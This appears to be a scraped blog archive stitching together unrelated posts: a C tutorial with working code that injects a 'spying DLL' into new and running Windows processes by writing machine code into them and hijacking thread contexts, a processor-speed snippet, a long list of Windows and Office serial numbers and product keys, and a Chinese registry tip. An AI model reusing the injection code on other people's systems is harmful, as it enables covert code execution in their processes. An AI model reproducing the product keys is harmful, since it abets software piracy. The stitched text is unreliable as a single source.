INJECTING THE SPYING DLL INTO THE PROCESS THAT WE CREATE OURSELVES

First, we will inject our spying DLL into the process that we create ourselves. Let’s look at how it can be done:

void install(char* filename)
{

// get the address of target application’s entry
point
DWORD bytes;char buff[4096];
HANDLE file=CreateFile(filename ,
GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
ReadFile(file,buff,1024,&bytes,0);
CloseHandle(file);
IMAGE_DOS_HEADER * dosheader=(IMAGE_DOS_HEADER *)buff;
IMAGE_OPTIONAL_HEADER *optionalheader=(IMAGE_OPTIONAL_HEADER
*)((BYTE*)buff+dosheader->e_lfanew+24);
DWORD
entryptr=optionalheader->AddressOfEntryPoint+optionalheader->ImageBase;

// create target process
STARTUPINFO startup;GetStartupInfo(&startup);PROCESS_INFORMATION procinfo;
CreateProcess(filename,0,0,0,TRUE,CREATE_SUSPENDED,0,0,&startup,&procinfo);

// allocate memory in the target process
BYTE* writebuff=(BYTE*
)VirtualAllocEx(procinfo.hProcess,0,4096,MEM_RESERVE,PAGE_EXECUTE_READWRITE);
writebuff=(BYTE*
)VirtualAllocEx(procinfo.hProcess,writebuff,4096,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

//get the adress of LoadLibraryAs
DWORD
function=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),
“LoadLibraryA”);

//fill the array with the machine instructions

DWORD stringptr=(DWORD)&writebuff[20];strcpy(&buff[20],“spydll.dll”);
DWORD funcptr=(DWORD)&writebuff[16];memmove(&buff[16],&function,4);
buff[0]=0×68;
memmove(&buff[1],&stringptr,4);
buff[5]=0×68;
memmove(&buff[6],&entryptr,4);
buff[10]=0xFF;buff[11]=0×25;
memmove(&buff[12],&funcptr,4);

// copy the above array into the memory that we
have allocated in the target process
WriteProcessMemory(procinfo.hProcess,writebuff,buff,4096,&bytes);

// change the execution context of the target
process’s primary thread
CONTEXT Context;Context.ContextFlags=CONTEXT_CONTROL;
GetThreadContext(procinfo.hThread,&Context);
Context.Eip=(DWORD)writebuff;
SetThreadContext(procinfo.hThread,&Context);
ResumeThread(procinfo.hThread);

}


As a first step, we obtain the address of entry point of the target executable module – we can get this information before even spawning the target process. Our executable file is saved on the disk in PE format, and, hence, the address of entry point is available from the IMAGE_OPTIONAL_HEADER structure – all we have to do is to add together AddressOfEntryPoint and ImageBase fields of IMAGE_OPTIONAL_HEADER structure.


Then we create a target process with the initially suspended primary thread from the .exe file, dynamically allocate a memory array in the target process’s address space, and fill this array with the machine instructions in the following form:

push  pointer_to_dllname
push address_of_entry point
jmp dword ptr [_imp_LoadLibraryA]
lang=mc+

Here we simulate the call instruction by combination of push and jmp instructions. When the instruction pointer hits the first byte of this array, the program will call LoadLibraryA() with pointer_to_dllname as an argument, and then return control to the application’s entry point.

Finally, we change the execution context of the target process’s primary thread – we set the thread’s instruction pointer to the first byte of our array with handcrafted instructions, and then let the thread run by calling ResumeThread() . As a result, the spying DLL will be loaded by the target process’s primary thread even before the target application’s entry point is called.


INJECTING THE SPYING DLL INTO THE RUNNING PROCESS

Now let’ do much more complicated thing, and inject our spying DLL into the process that already runs. Let’s look at how it can be done:

void inject(DWORD threadid,BYTE*remotebuff, HMODULE hMod, DWORD
entrypoint,HANDLE processhandle,HANDLE eventhandle);

void loadandinject(DWORD procid)
{
BYTE array[256];char buff[1024];DWORD byteswritten,dw,threadid;

//allocate memory and create thread in the target
process
HANDLE processhandle=OpenProcess(PROCESS_ALL_ACCESS,0,procid);
BYTE* writebuff=(BYTE*
)VirtualAllocEx(processhandle,0,4096,MEM_RESERVE,PAGE_EXECUTE_READWRITE);
writebuff=(BYTE*
)VirtualAllocEx(processhandle,writebuff,4096,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
DWORD
funcptr=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),
“LoadLibraryA”);
strcpy(buff,“spydll.dll”);
WriteProcessMemory(processhandle,writebuff,buff,256,&byteswritten);
CreateRemoteThread(processhandle,0,0,(LPTHREAD_START_ROUTINE)funcptr,
writebuff,0,&threadid);

//get module handle and entry point of our
dll
HANDLE snap= CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,procid);
MODULEENTRY32 mod;mod.dwSize=sizeof(MODULEENTRY32);
Module32First(snap,&mod);
HMODULE hMod=0;

while(Module32Next(snap,&mod))
{

if(!strcmp(mod.szModule,“spydll.dll”)){hMod=mod.hModule;break;}
}

CloseHandle(snap);
ReadProcessMemory(processhandle,(void*)hMod,buff,1024,&dw);
IMAGE_DOS_HEADER * dosheader=(IMAGE_DOS_HEADER *)buff;
IMAGE_OPTIONAL_HEADER * opthdr =(IMAGE_OPTIONAL_HEADER *)
((BYTE*)buff+dosheader->e_lfanew+24);
DWORD entry=(DWORD)hMod+opthdr->AddressOfEntryPoint;

//create auto-reset event in initially unsignaled
state
HANDLE eventhandle=CreateEvent(0,0,0,“spyevent”);

//make every thread in the target process call
entry point of our dll
snap= CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
THREADENTRY32 th;th.dwSize=sizeof(THREADENTRY32);
Thread32First(snap,&th);
while(Thread32Next(snap,&th))
{
if(th.th32OwnerProcessID==procid)
inject(th.th32ThreadID,writebuff,hMod,entry,processhandle,eventhandle);
}

CloseHandle(eventhandle);
}


As a very first step, we allocate a memory array in the address space of the target process, copy the name of our spying DLL into this array, and call CreateRemoteThread() API function with the lpStartAddress and lpParameter parameters set to respectively the address of LoadLibrary() API function and the address of the array that we have allocated, i.e. inject the spying DLL into the target process the way described by Jeffrey Richter. Then we walk through all modules that are currently loaded into the address space of the target process, until we find the module handle of our spying DLL. Then we read the memory of the target process, starting from the address that corresponds to our spying DLL’s module handle. At this point we are already able to find the address of our DLL’s entry point in the address space of the target process – this information is available from IMAGE_OPTIONAL_HEADER.


Then we create auto-reset event in initially unsignaled state – the meaning of this step will become obvious when you see the implementation of inject(). Finally, we enumerate all threads that currently run in the target process, and make every thread in the target process call our DLL’s entry point – this is implemented by inject(), to which the above mentioned event handle is one of the parameters. Let’s look at inject()’s implementation:

void inject(DWORD threadid,BYTE*remotebuff, HMODULE hMod, DWORD
entrypoint,HANDLE processhandle,HANDLE eventhandle)
{
DWORD arg1=(DWORD)hMod,arg2=DLL_THREAD_ATTACH,arg3=0;

typedef HANDLE (__stdcall*func)(DWORD,BOOL,DWORD);

func
OpenThread=(func)GetProcAddress(GetModuleHandle(“KERNEL32.dll”),
“OpenThread”);
HANDLE threadhandle=OpenThread(THREAD_SUSPEND_RESUME|
THREAD_GET_CONTEXT|THREAD_SET_CONTEXT,0,threadid);
SuspendThread(threadhandle);
CONTEXT Context;Context.ContextFlags=CONTEXT_CONTROL;
GetThreadContext(threadhandle,&Context);

DWORD retaddress= Context.Eip;

//we are going to do the tough job of filling the
array with the machine codes

BYTE array[256];

//copy all necessary data into the array

DWORD *openeventptr=(DWORD *)&array[100];
openeventptr[0]=(DWORD )&OpenEvent;
openeventptr=(DWORD *)&remotebuff[100];

DWORD*seteventptr=(DWORD *)&array[104];
seteventptr[0]=(DWORD )&SetEvent;
seteventptr=(DWORD *)&remotebuff[104];

DWORD* closehandleptr=(DWORD *)&array[108];
closehandleptr[0]=(DWORD )&CloseHandle;
closehandleptr=(DWORD *)&remotebuff[108];

DWORD* entrypointptr=(DWORD *)&array[112];
entrypointptr[0]=entrypoint;
entrypointptr=(DWORD *)&remotebuff[112];

DWORD* retaddressptr=(DWORD *)&array[116];
retaddressptr[0]=retaddress;
retaddressptr=(DWORD *)&remotebuff[116];

strcpy((char*)&array[120],“spyevent”);
char*eventnameptr=(char*)&remotebuff[120];

//now we are filling the array with actual machine
instructions

//push registers and flags
array[0]=0×50;array[1]=0×53;array[2]=0×51;array[3]=0×52;array[4]=0×9C;

//push entrypoint arguments
array[5]=0×68; memmove(&array[6],&arg3,4);
array[10]=0×68;memmove(&array[11],&arg2,4);
array[15]=0×68;memmove(&array[16],&arg1,4);

//call entrypoint
array[20]=0xFF;array[21]=0×15;memmove(&array[22],&entrypointptr,4);

//push OpenEvent arguments
array[26]=0×68;memmove(&array[27],&eventnameptr,4);
array[31]=0×68;int a=0; memmove(&array[32],&a,4);
array[36]=0×68;a=EVENT_ALL_ACCESS; memmove(&array[37],&a,4);

//call OpenEvent
array[41]=0xFF;array[42]=0×15;memmove(&array[43],&openeventptr,4);

// push eax
array[47]=0×50;

// push eax
array[48]=0×50;

//call SetEvent
array[49]=0xFF;array[50]=0×15;memmove(&array[51],&seteventptr,4);

//call CloseHandle
array[55]=0xFF;array[56]=0×15;memmove(&array[57],&closehandleptr,4);

//restore registers and flags
array[61]=0×9D;array[62]=0×5A;array[63]=0×59;array[64]=0×5B;array[65]=0×58;

//jmp dword ptr[retaddressptr]
array[66]=0xFF;array[67]=0×25;memmove(&array[68],&retaddressptr,4);

// we have finished filling the array, thanks God

DWORD byteswritten;
WriteProcessMemory(processhandle,(void *)remotebuff,(void
*)array,256,&byteswritten);
Context.Eip=(DWORD)&remotebuff[0];
SetThreadContext(threadhandle,&Context);
ResumeThread(threadhandle);

WaitForSingleObject(eventhandle,INFINITE);

CloseHandle(threadhandle);
}


The implementation of inject() does, basically, the same thing as our DLL-injecting code in the previous example- it fills the memory array with the machine codes, and changes the execution context of the target thread, i.e. makes it execute our handcrafted code that calls our DLL’s entry point. However, now things become more complicated -our target thread already runs, so that all our activity must leave CPU registers and flags intact, as far as the target thread is concerned. Furthermore, for the safety reasons, we must synchronize our injections, i.e. proceed to the next target thread only after the current target thread’s execution context has been restored. Therefore, we have to fill the array with the following instructions:

push eax
push ebx
push ecx
push edx
pushf
push 0
push value_of_DLL_THREAD_ATTACH
push hMod
call dword ptr[_imp_Dllentrypoint]
push eventnameptr
push 0
push value_of_EVENT_ALL_ACCESS
call dword ptr[_imp_OpenEvent]
push eax
push eax
call dword ptr[_imp_SetEvent]
call dword ptr[_imp_CloseHandle]
popf
pop edx
pop ecx
pop ebx
pop eax
jmp dword ptr[retaddressptr]


This seems to be a bit of a tough job, but, unless you are desperate to crash the target process, it has to be done. After having changed the execution context of the target thread, inject() waits until the target thread sets the synchronization event we have created, so that we cannot proceed to the next thread until the execution context of the target thread is restored. But what if the target thread is deadlocked at the time when we want it to call the entry point of our spying DLL? Then our code will get stuck – no one is going to set our synchronization event to the signaled state. This means that the above technique can be useful (with few adjustments applied) for detecting deadlocked threads in the target process – the fact that one of the worker threads in multithreaded application is deadlocked is not always obvious at the first glance.


NOTE: In case if we inject our spying DLL into the target process that we create ourselves, we can overwrite the addresses of our target functions right in DllMain()when it is called with fdwReason parameter set to DLL_PROCESS_ATTACH, because our target process has only one thread at the time when our spying DLL is injected. However, if we inject our spying DLL into the target process that already runs, we can overwrite the addresses of our target functions only after absolutely every thread in the target process has called our DLL’s entry point. Otherwise, there is a good chance that the function replacement code will be called by the thread that has not yet allocated its storage, which means the target process will crash when Prolog() tries to save the return address in the storage that has not yet been allocated.


This implies that the code, which actually overwrites the addresses of our target functions, must reside in a function that is exported by our spying DLL. Then, after the code in loadandinject() is executed , we would be able to create a thread in the target process by calling CreateRemoteThread() with the lpStartAddress parameter set to the address of this function – once the function is exported, we can always get its address in the target process from the spying DLL’s export address table.


In case if all this seems too complicated to you, I suggest you should create the target process yourself, rather than spy on the process that already runs – as you can see, the fact that the target process already runs at the time when we inject our spying DLL gives us quite a few things to worry about. To be honest, I would personally prefer, for the practical purposes, to create the target process myself.

Get the Processor Speed in two simple ways
By
Thomas Latuske

Get the frequency of the processor either from the registry, or calculate it. 



Sample Image - Processor_Speed.gif


Introduction


I’ll show you two ways to retrieve the processor-speed (frequency in MHz). With two simple functions, one to retrieve the frequency from the registry of your Windows operating system, and one to calculate it with the clock cycles and a high resolution counter. If you want to use the function to calculate the speed (frequency), you have to use it with a Pentium instruction set compatible processor (look at the lines below).


rfmobile wrote in a message:



You don’t need to change the RDTSC definition for non-Intel processors. The code works as-is on my AMD mobile Athlon. Should work on any Pentium instruction set compatible processor but not for 486 or 386.


I’m not able to verify this, so I would like to hear some feedback.


BTW: Constructive criticism is always welcome! :-)


Routine to retrieve the speed (frequency) from the registry:


This is plain code to retrieve a registry value as a CString:

CString ProcSpeedRead()
{
CString sMHz;
char Buffer[_MAX_PATH];
DWORD BufSize = _MAX_PATH;
DWORD dwMHz = _MAX_PATH;
HKEY hKey;

// open the key where the proc speed is hidden:
long lError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
“HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0″,
0,
KEY_READ,
&hKey);

if(lError != ERROR_SUCCESS)
{// if the key is not found, tell the user why:
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
lError,
0,
Buffer,
_MAX_PATH,
0);
AfxMessageBox(Buffer);
return “N/A”;
}

// query the key:
RegQueryValueEx(hKey, “~MHz”, NULL, NULL, (LPBYTE) &dwMHz, &BufSize);

// convert the DWORD to a CString:
sMHz.Format(“%i”, dwMHz);

return sMHz;
}


Routine to calculate the processor frequency in MHz:


Retrieve the frequency in MHz as a floating-point number. I use some well documented (at least for me ;-) ) assembler here:

float CGettheProcessorSpeedDlg::ProcSpeedCalc()
{
/*
RdTSC:
It’s the Pentium instruction “ReaD Time Stamp Counter”. It measures the
number of clock cycles that have passed since the processor was reset, as a
64-bit number. That’s what the <CODE>_emit lines do.*/
#define RdTSC __asm _emit 0×0f __asm _emit 0×31

// variables for the clock-cycles:
__int64 cyclesStart = 0, cyclesStop = 0;
// variables for the High-Res Preformance Counter:
unsigned __int64 nCtr = 0, nFreq = 0, nCtrStop = 0;

// retrieve performance-counter frequency per second:
if(!QueryPerformanceFrequency((LARGE_INTEGER *) &nFreq)) return 0;

// retrieve the current value of the performance counter:
QueryPerformanceCounter((LARGE_INTEGER *) &nCtrStop);

// add the frequency to the counter-value:
nCtrStop += nFreq;

_asm
{// retrieve the clock-cycles for the start value:
RdTSC
mov DWORD PTR cyclesStart, eax
mov DWORD PTR [cyclesStart + 4], edx
}

do{
// retrieve the value of the performance counter
// until 1 sec has gone by:
QueryPerformanceCounter((LARGE_INTEGER *) &nCtr);
}while (nCtr < nCtrStop);

_asm
{// retrieve again the clock-cycles after 1 sec. has gone by:
RdTSC
mov DWORD PTR cyclesStop, eax
mov DWORD PTR [cyclesStop + 4], edx
}

// stop-start is speed in Hz divided by 1,000,000 is speed in MHz
return ((float)cyclesStop-(float)cyclesStart) / 1000000;
}

2004年11月08日

PWIN95 S/N: 425-0022172
EWIN95 S/N: 111-1111111
WIN95:00200-0123456-00200CWIN97 S/N: 26495-OEM-0004782-75026
Windows95a:12095-OEM-0004226-12233
Windows95:32397-OEM-0027426-81349

EWIN97 S/N: 00100-OEM-0123456-00100  
PWIN97 S/N: 00100-OEM-0123456-00100
CWIN98 S/N: DC688-DET96-5SCN7-E5RLK-XL413
EWIN98 S/N: K4HVD-Q9TJ9-6CRX9-C9G68-RQ2D3
PWIN98 S/N: VR9TR-74M8W-YPT9C-4VDF4-R7PD8
PWIN98 OEM(第二版) S/N: BBH2G-D2VK9-QD4M9-F63XB-43C33
PWIN98 2A 2222版   S/N: QY7TT-VJ7VG-7QPHY-QXHD3-B838Q
                        MB9HY-M4JGJ-B3RV2-FPH8D-FP8KY
                        WHWGP-XDR8Y-GR9X3-863RP-67J2T
Windows98(第三版)th OEM 升级程序密码:1
Windows98(第三版)th OEM 密码:QY7TT-VJ7VG-7QPHY-QXHD3-B838Q
Windows98:Upgrade98:G2FGT-6HYRW-X2W2C-RT7HW-RF7WX
Windows98:HGBRM-RBK3V-M9FXV-YCXDK-V38J4
Windows98 SE:CMGRR-XCBMG-4P8TB-DR9FW-62PFB

WINDOWS ME 简体中文正式零售版
       S/N: HJPFQ-KXW9C-D7BRJ-JCGB7-Q2DRJ
WINDOWS ME 正式英文零售版
       S/N: RBDC9-VTRC8-D7972-J97JY-PRVMG
PwindowsXP:简体中文正式零售版
       S/N:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8
Windows XP 专业版 : CCC64-69Q48-Y3KWW-8V9GV-TVKRM
Windows XP 家庭版 : BQJG2-2MJT7-H7F6K-XW98B-4HQRQ
windows XP sp2 3KHMJ-DW7BX-77XHM-DFCW3-J4GHW
Windows XP Professional序列号:BX6HT-MDJKW-H2J4X-BX67W-TVVFG
安装后激活码只需全输”0″

韩文版 Windows Xp ProFessional Sn:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8  

Windows 2000 Professional   :     PQHKR-G4JFW-VTY3P-G4WQ2-88CTW
  TQ4CV-XPJR3-KPG3Q-HGH74-BMYWT
Windows 2000 Server         :     H6TWQ-TQQM8-HXJYG-D69F7-R84VM
Windows 2000 Advanced Server:     RBDC9-VTRC8-D7972-J97JY-PRVMG

windows NT Server 4.0 sn: 727-1111111
windows NT WorkStation 4.0 sn: 727-1111111
Windows 98 Second Edition sn: QY7TT-VJ7VG-7QPHY-QXHD3-B838Q
Windows2003:JB88F-WT2Q3-DPXTT-Y8GHG-7YYQY
             cky24-q8qrh-x3kmr-c6bcy-t847y

win2003有三种版本:
win2003 Enterprise Server:     QW32K-48T2T-3D2PJ-DXBWY-C6WRJ
win2003 Standard Server:       M6RJ9-TBJH3-9DDXM-4VX9Q-K8M8M
win2003 Web Server:            D42X8-7MWXD-M4B76-MKYP7-CW9FD
Win2003 enterprise edition english version cPROduct KEY:
QW32K – 48T2T – 3D2PJ – DXBWY – C6WRJ可以Updata,但不可以激活

Office2000 j2mv9-jyyq6-jm44k-qmyth-8rb2w

Windows 2003 servr序列号:

JK6JC-P7P7H-4HRFC-3XM7P-G33HM  JCGMJ-TC669-KCBG7-HB8X2-FXG7M
企业版: QW32K-48T2T-3D2PJ-DXBWY-C6WRJ
标准版: C4C24-QDY9P-GQJ4F-2DB6G-PFQ9W
企业VLK: JB88F-WT2Q3-DPXTT-Y8GHG-7YYQY
标准VLK: JB88F-WT2Q3-DPXTT-Y8GHG-7YYQY
Enterprise Retail: QW32K-48T2T-3D2PJ-DXBWY-C6WRJ
Standard Retail..: M6RJ9-TBJH3-9DDXM-4VX9Q-K8M8M
All VOL……….: JB88F-WT2Q3-DPXTT-Y8GHG-7YYQY
All OEM DELL…..: TPPJH-FG9MV-KQPXW-HVHKJ-6G728

Windows Server 2003 for Small Business Server 的CD-KEY:
CD-KEY:BBGC6-TXDG9-J9CDW-JXK3R-GTMMB

2004年11月07日
在Windows 2000英文版中加上其它输入法 

Windows 2000英文版中没有智能ABC输入法,怎样才能加上?
你可以通过【控制面板】中的相关设置添加也可以尝试通过修改注册表的方法:
首先,你要把98下ABC输入法的相关文件:winabc.*复制到Windows 2000系统目录的system32子目录下。然后,通过注册表编辑器对注册表做如下的修改:
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard LayoutsE01F0804]
IME file=winabc.ime
Layout File=KBDUS.DLL
Layout Text=Chinese(Simplified)-智能ABC
退出注册表编辑器,你就可以使用了。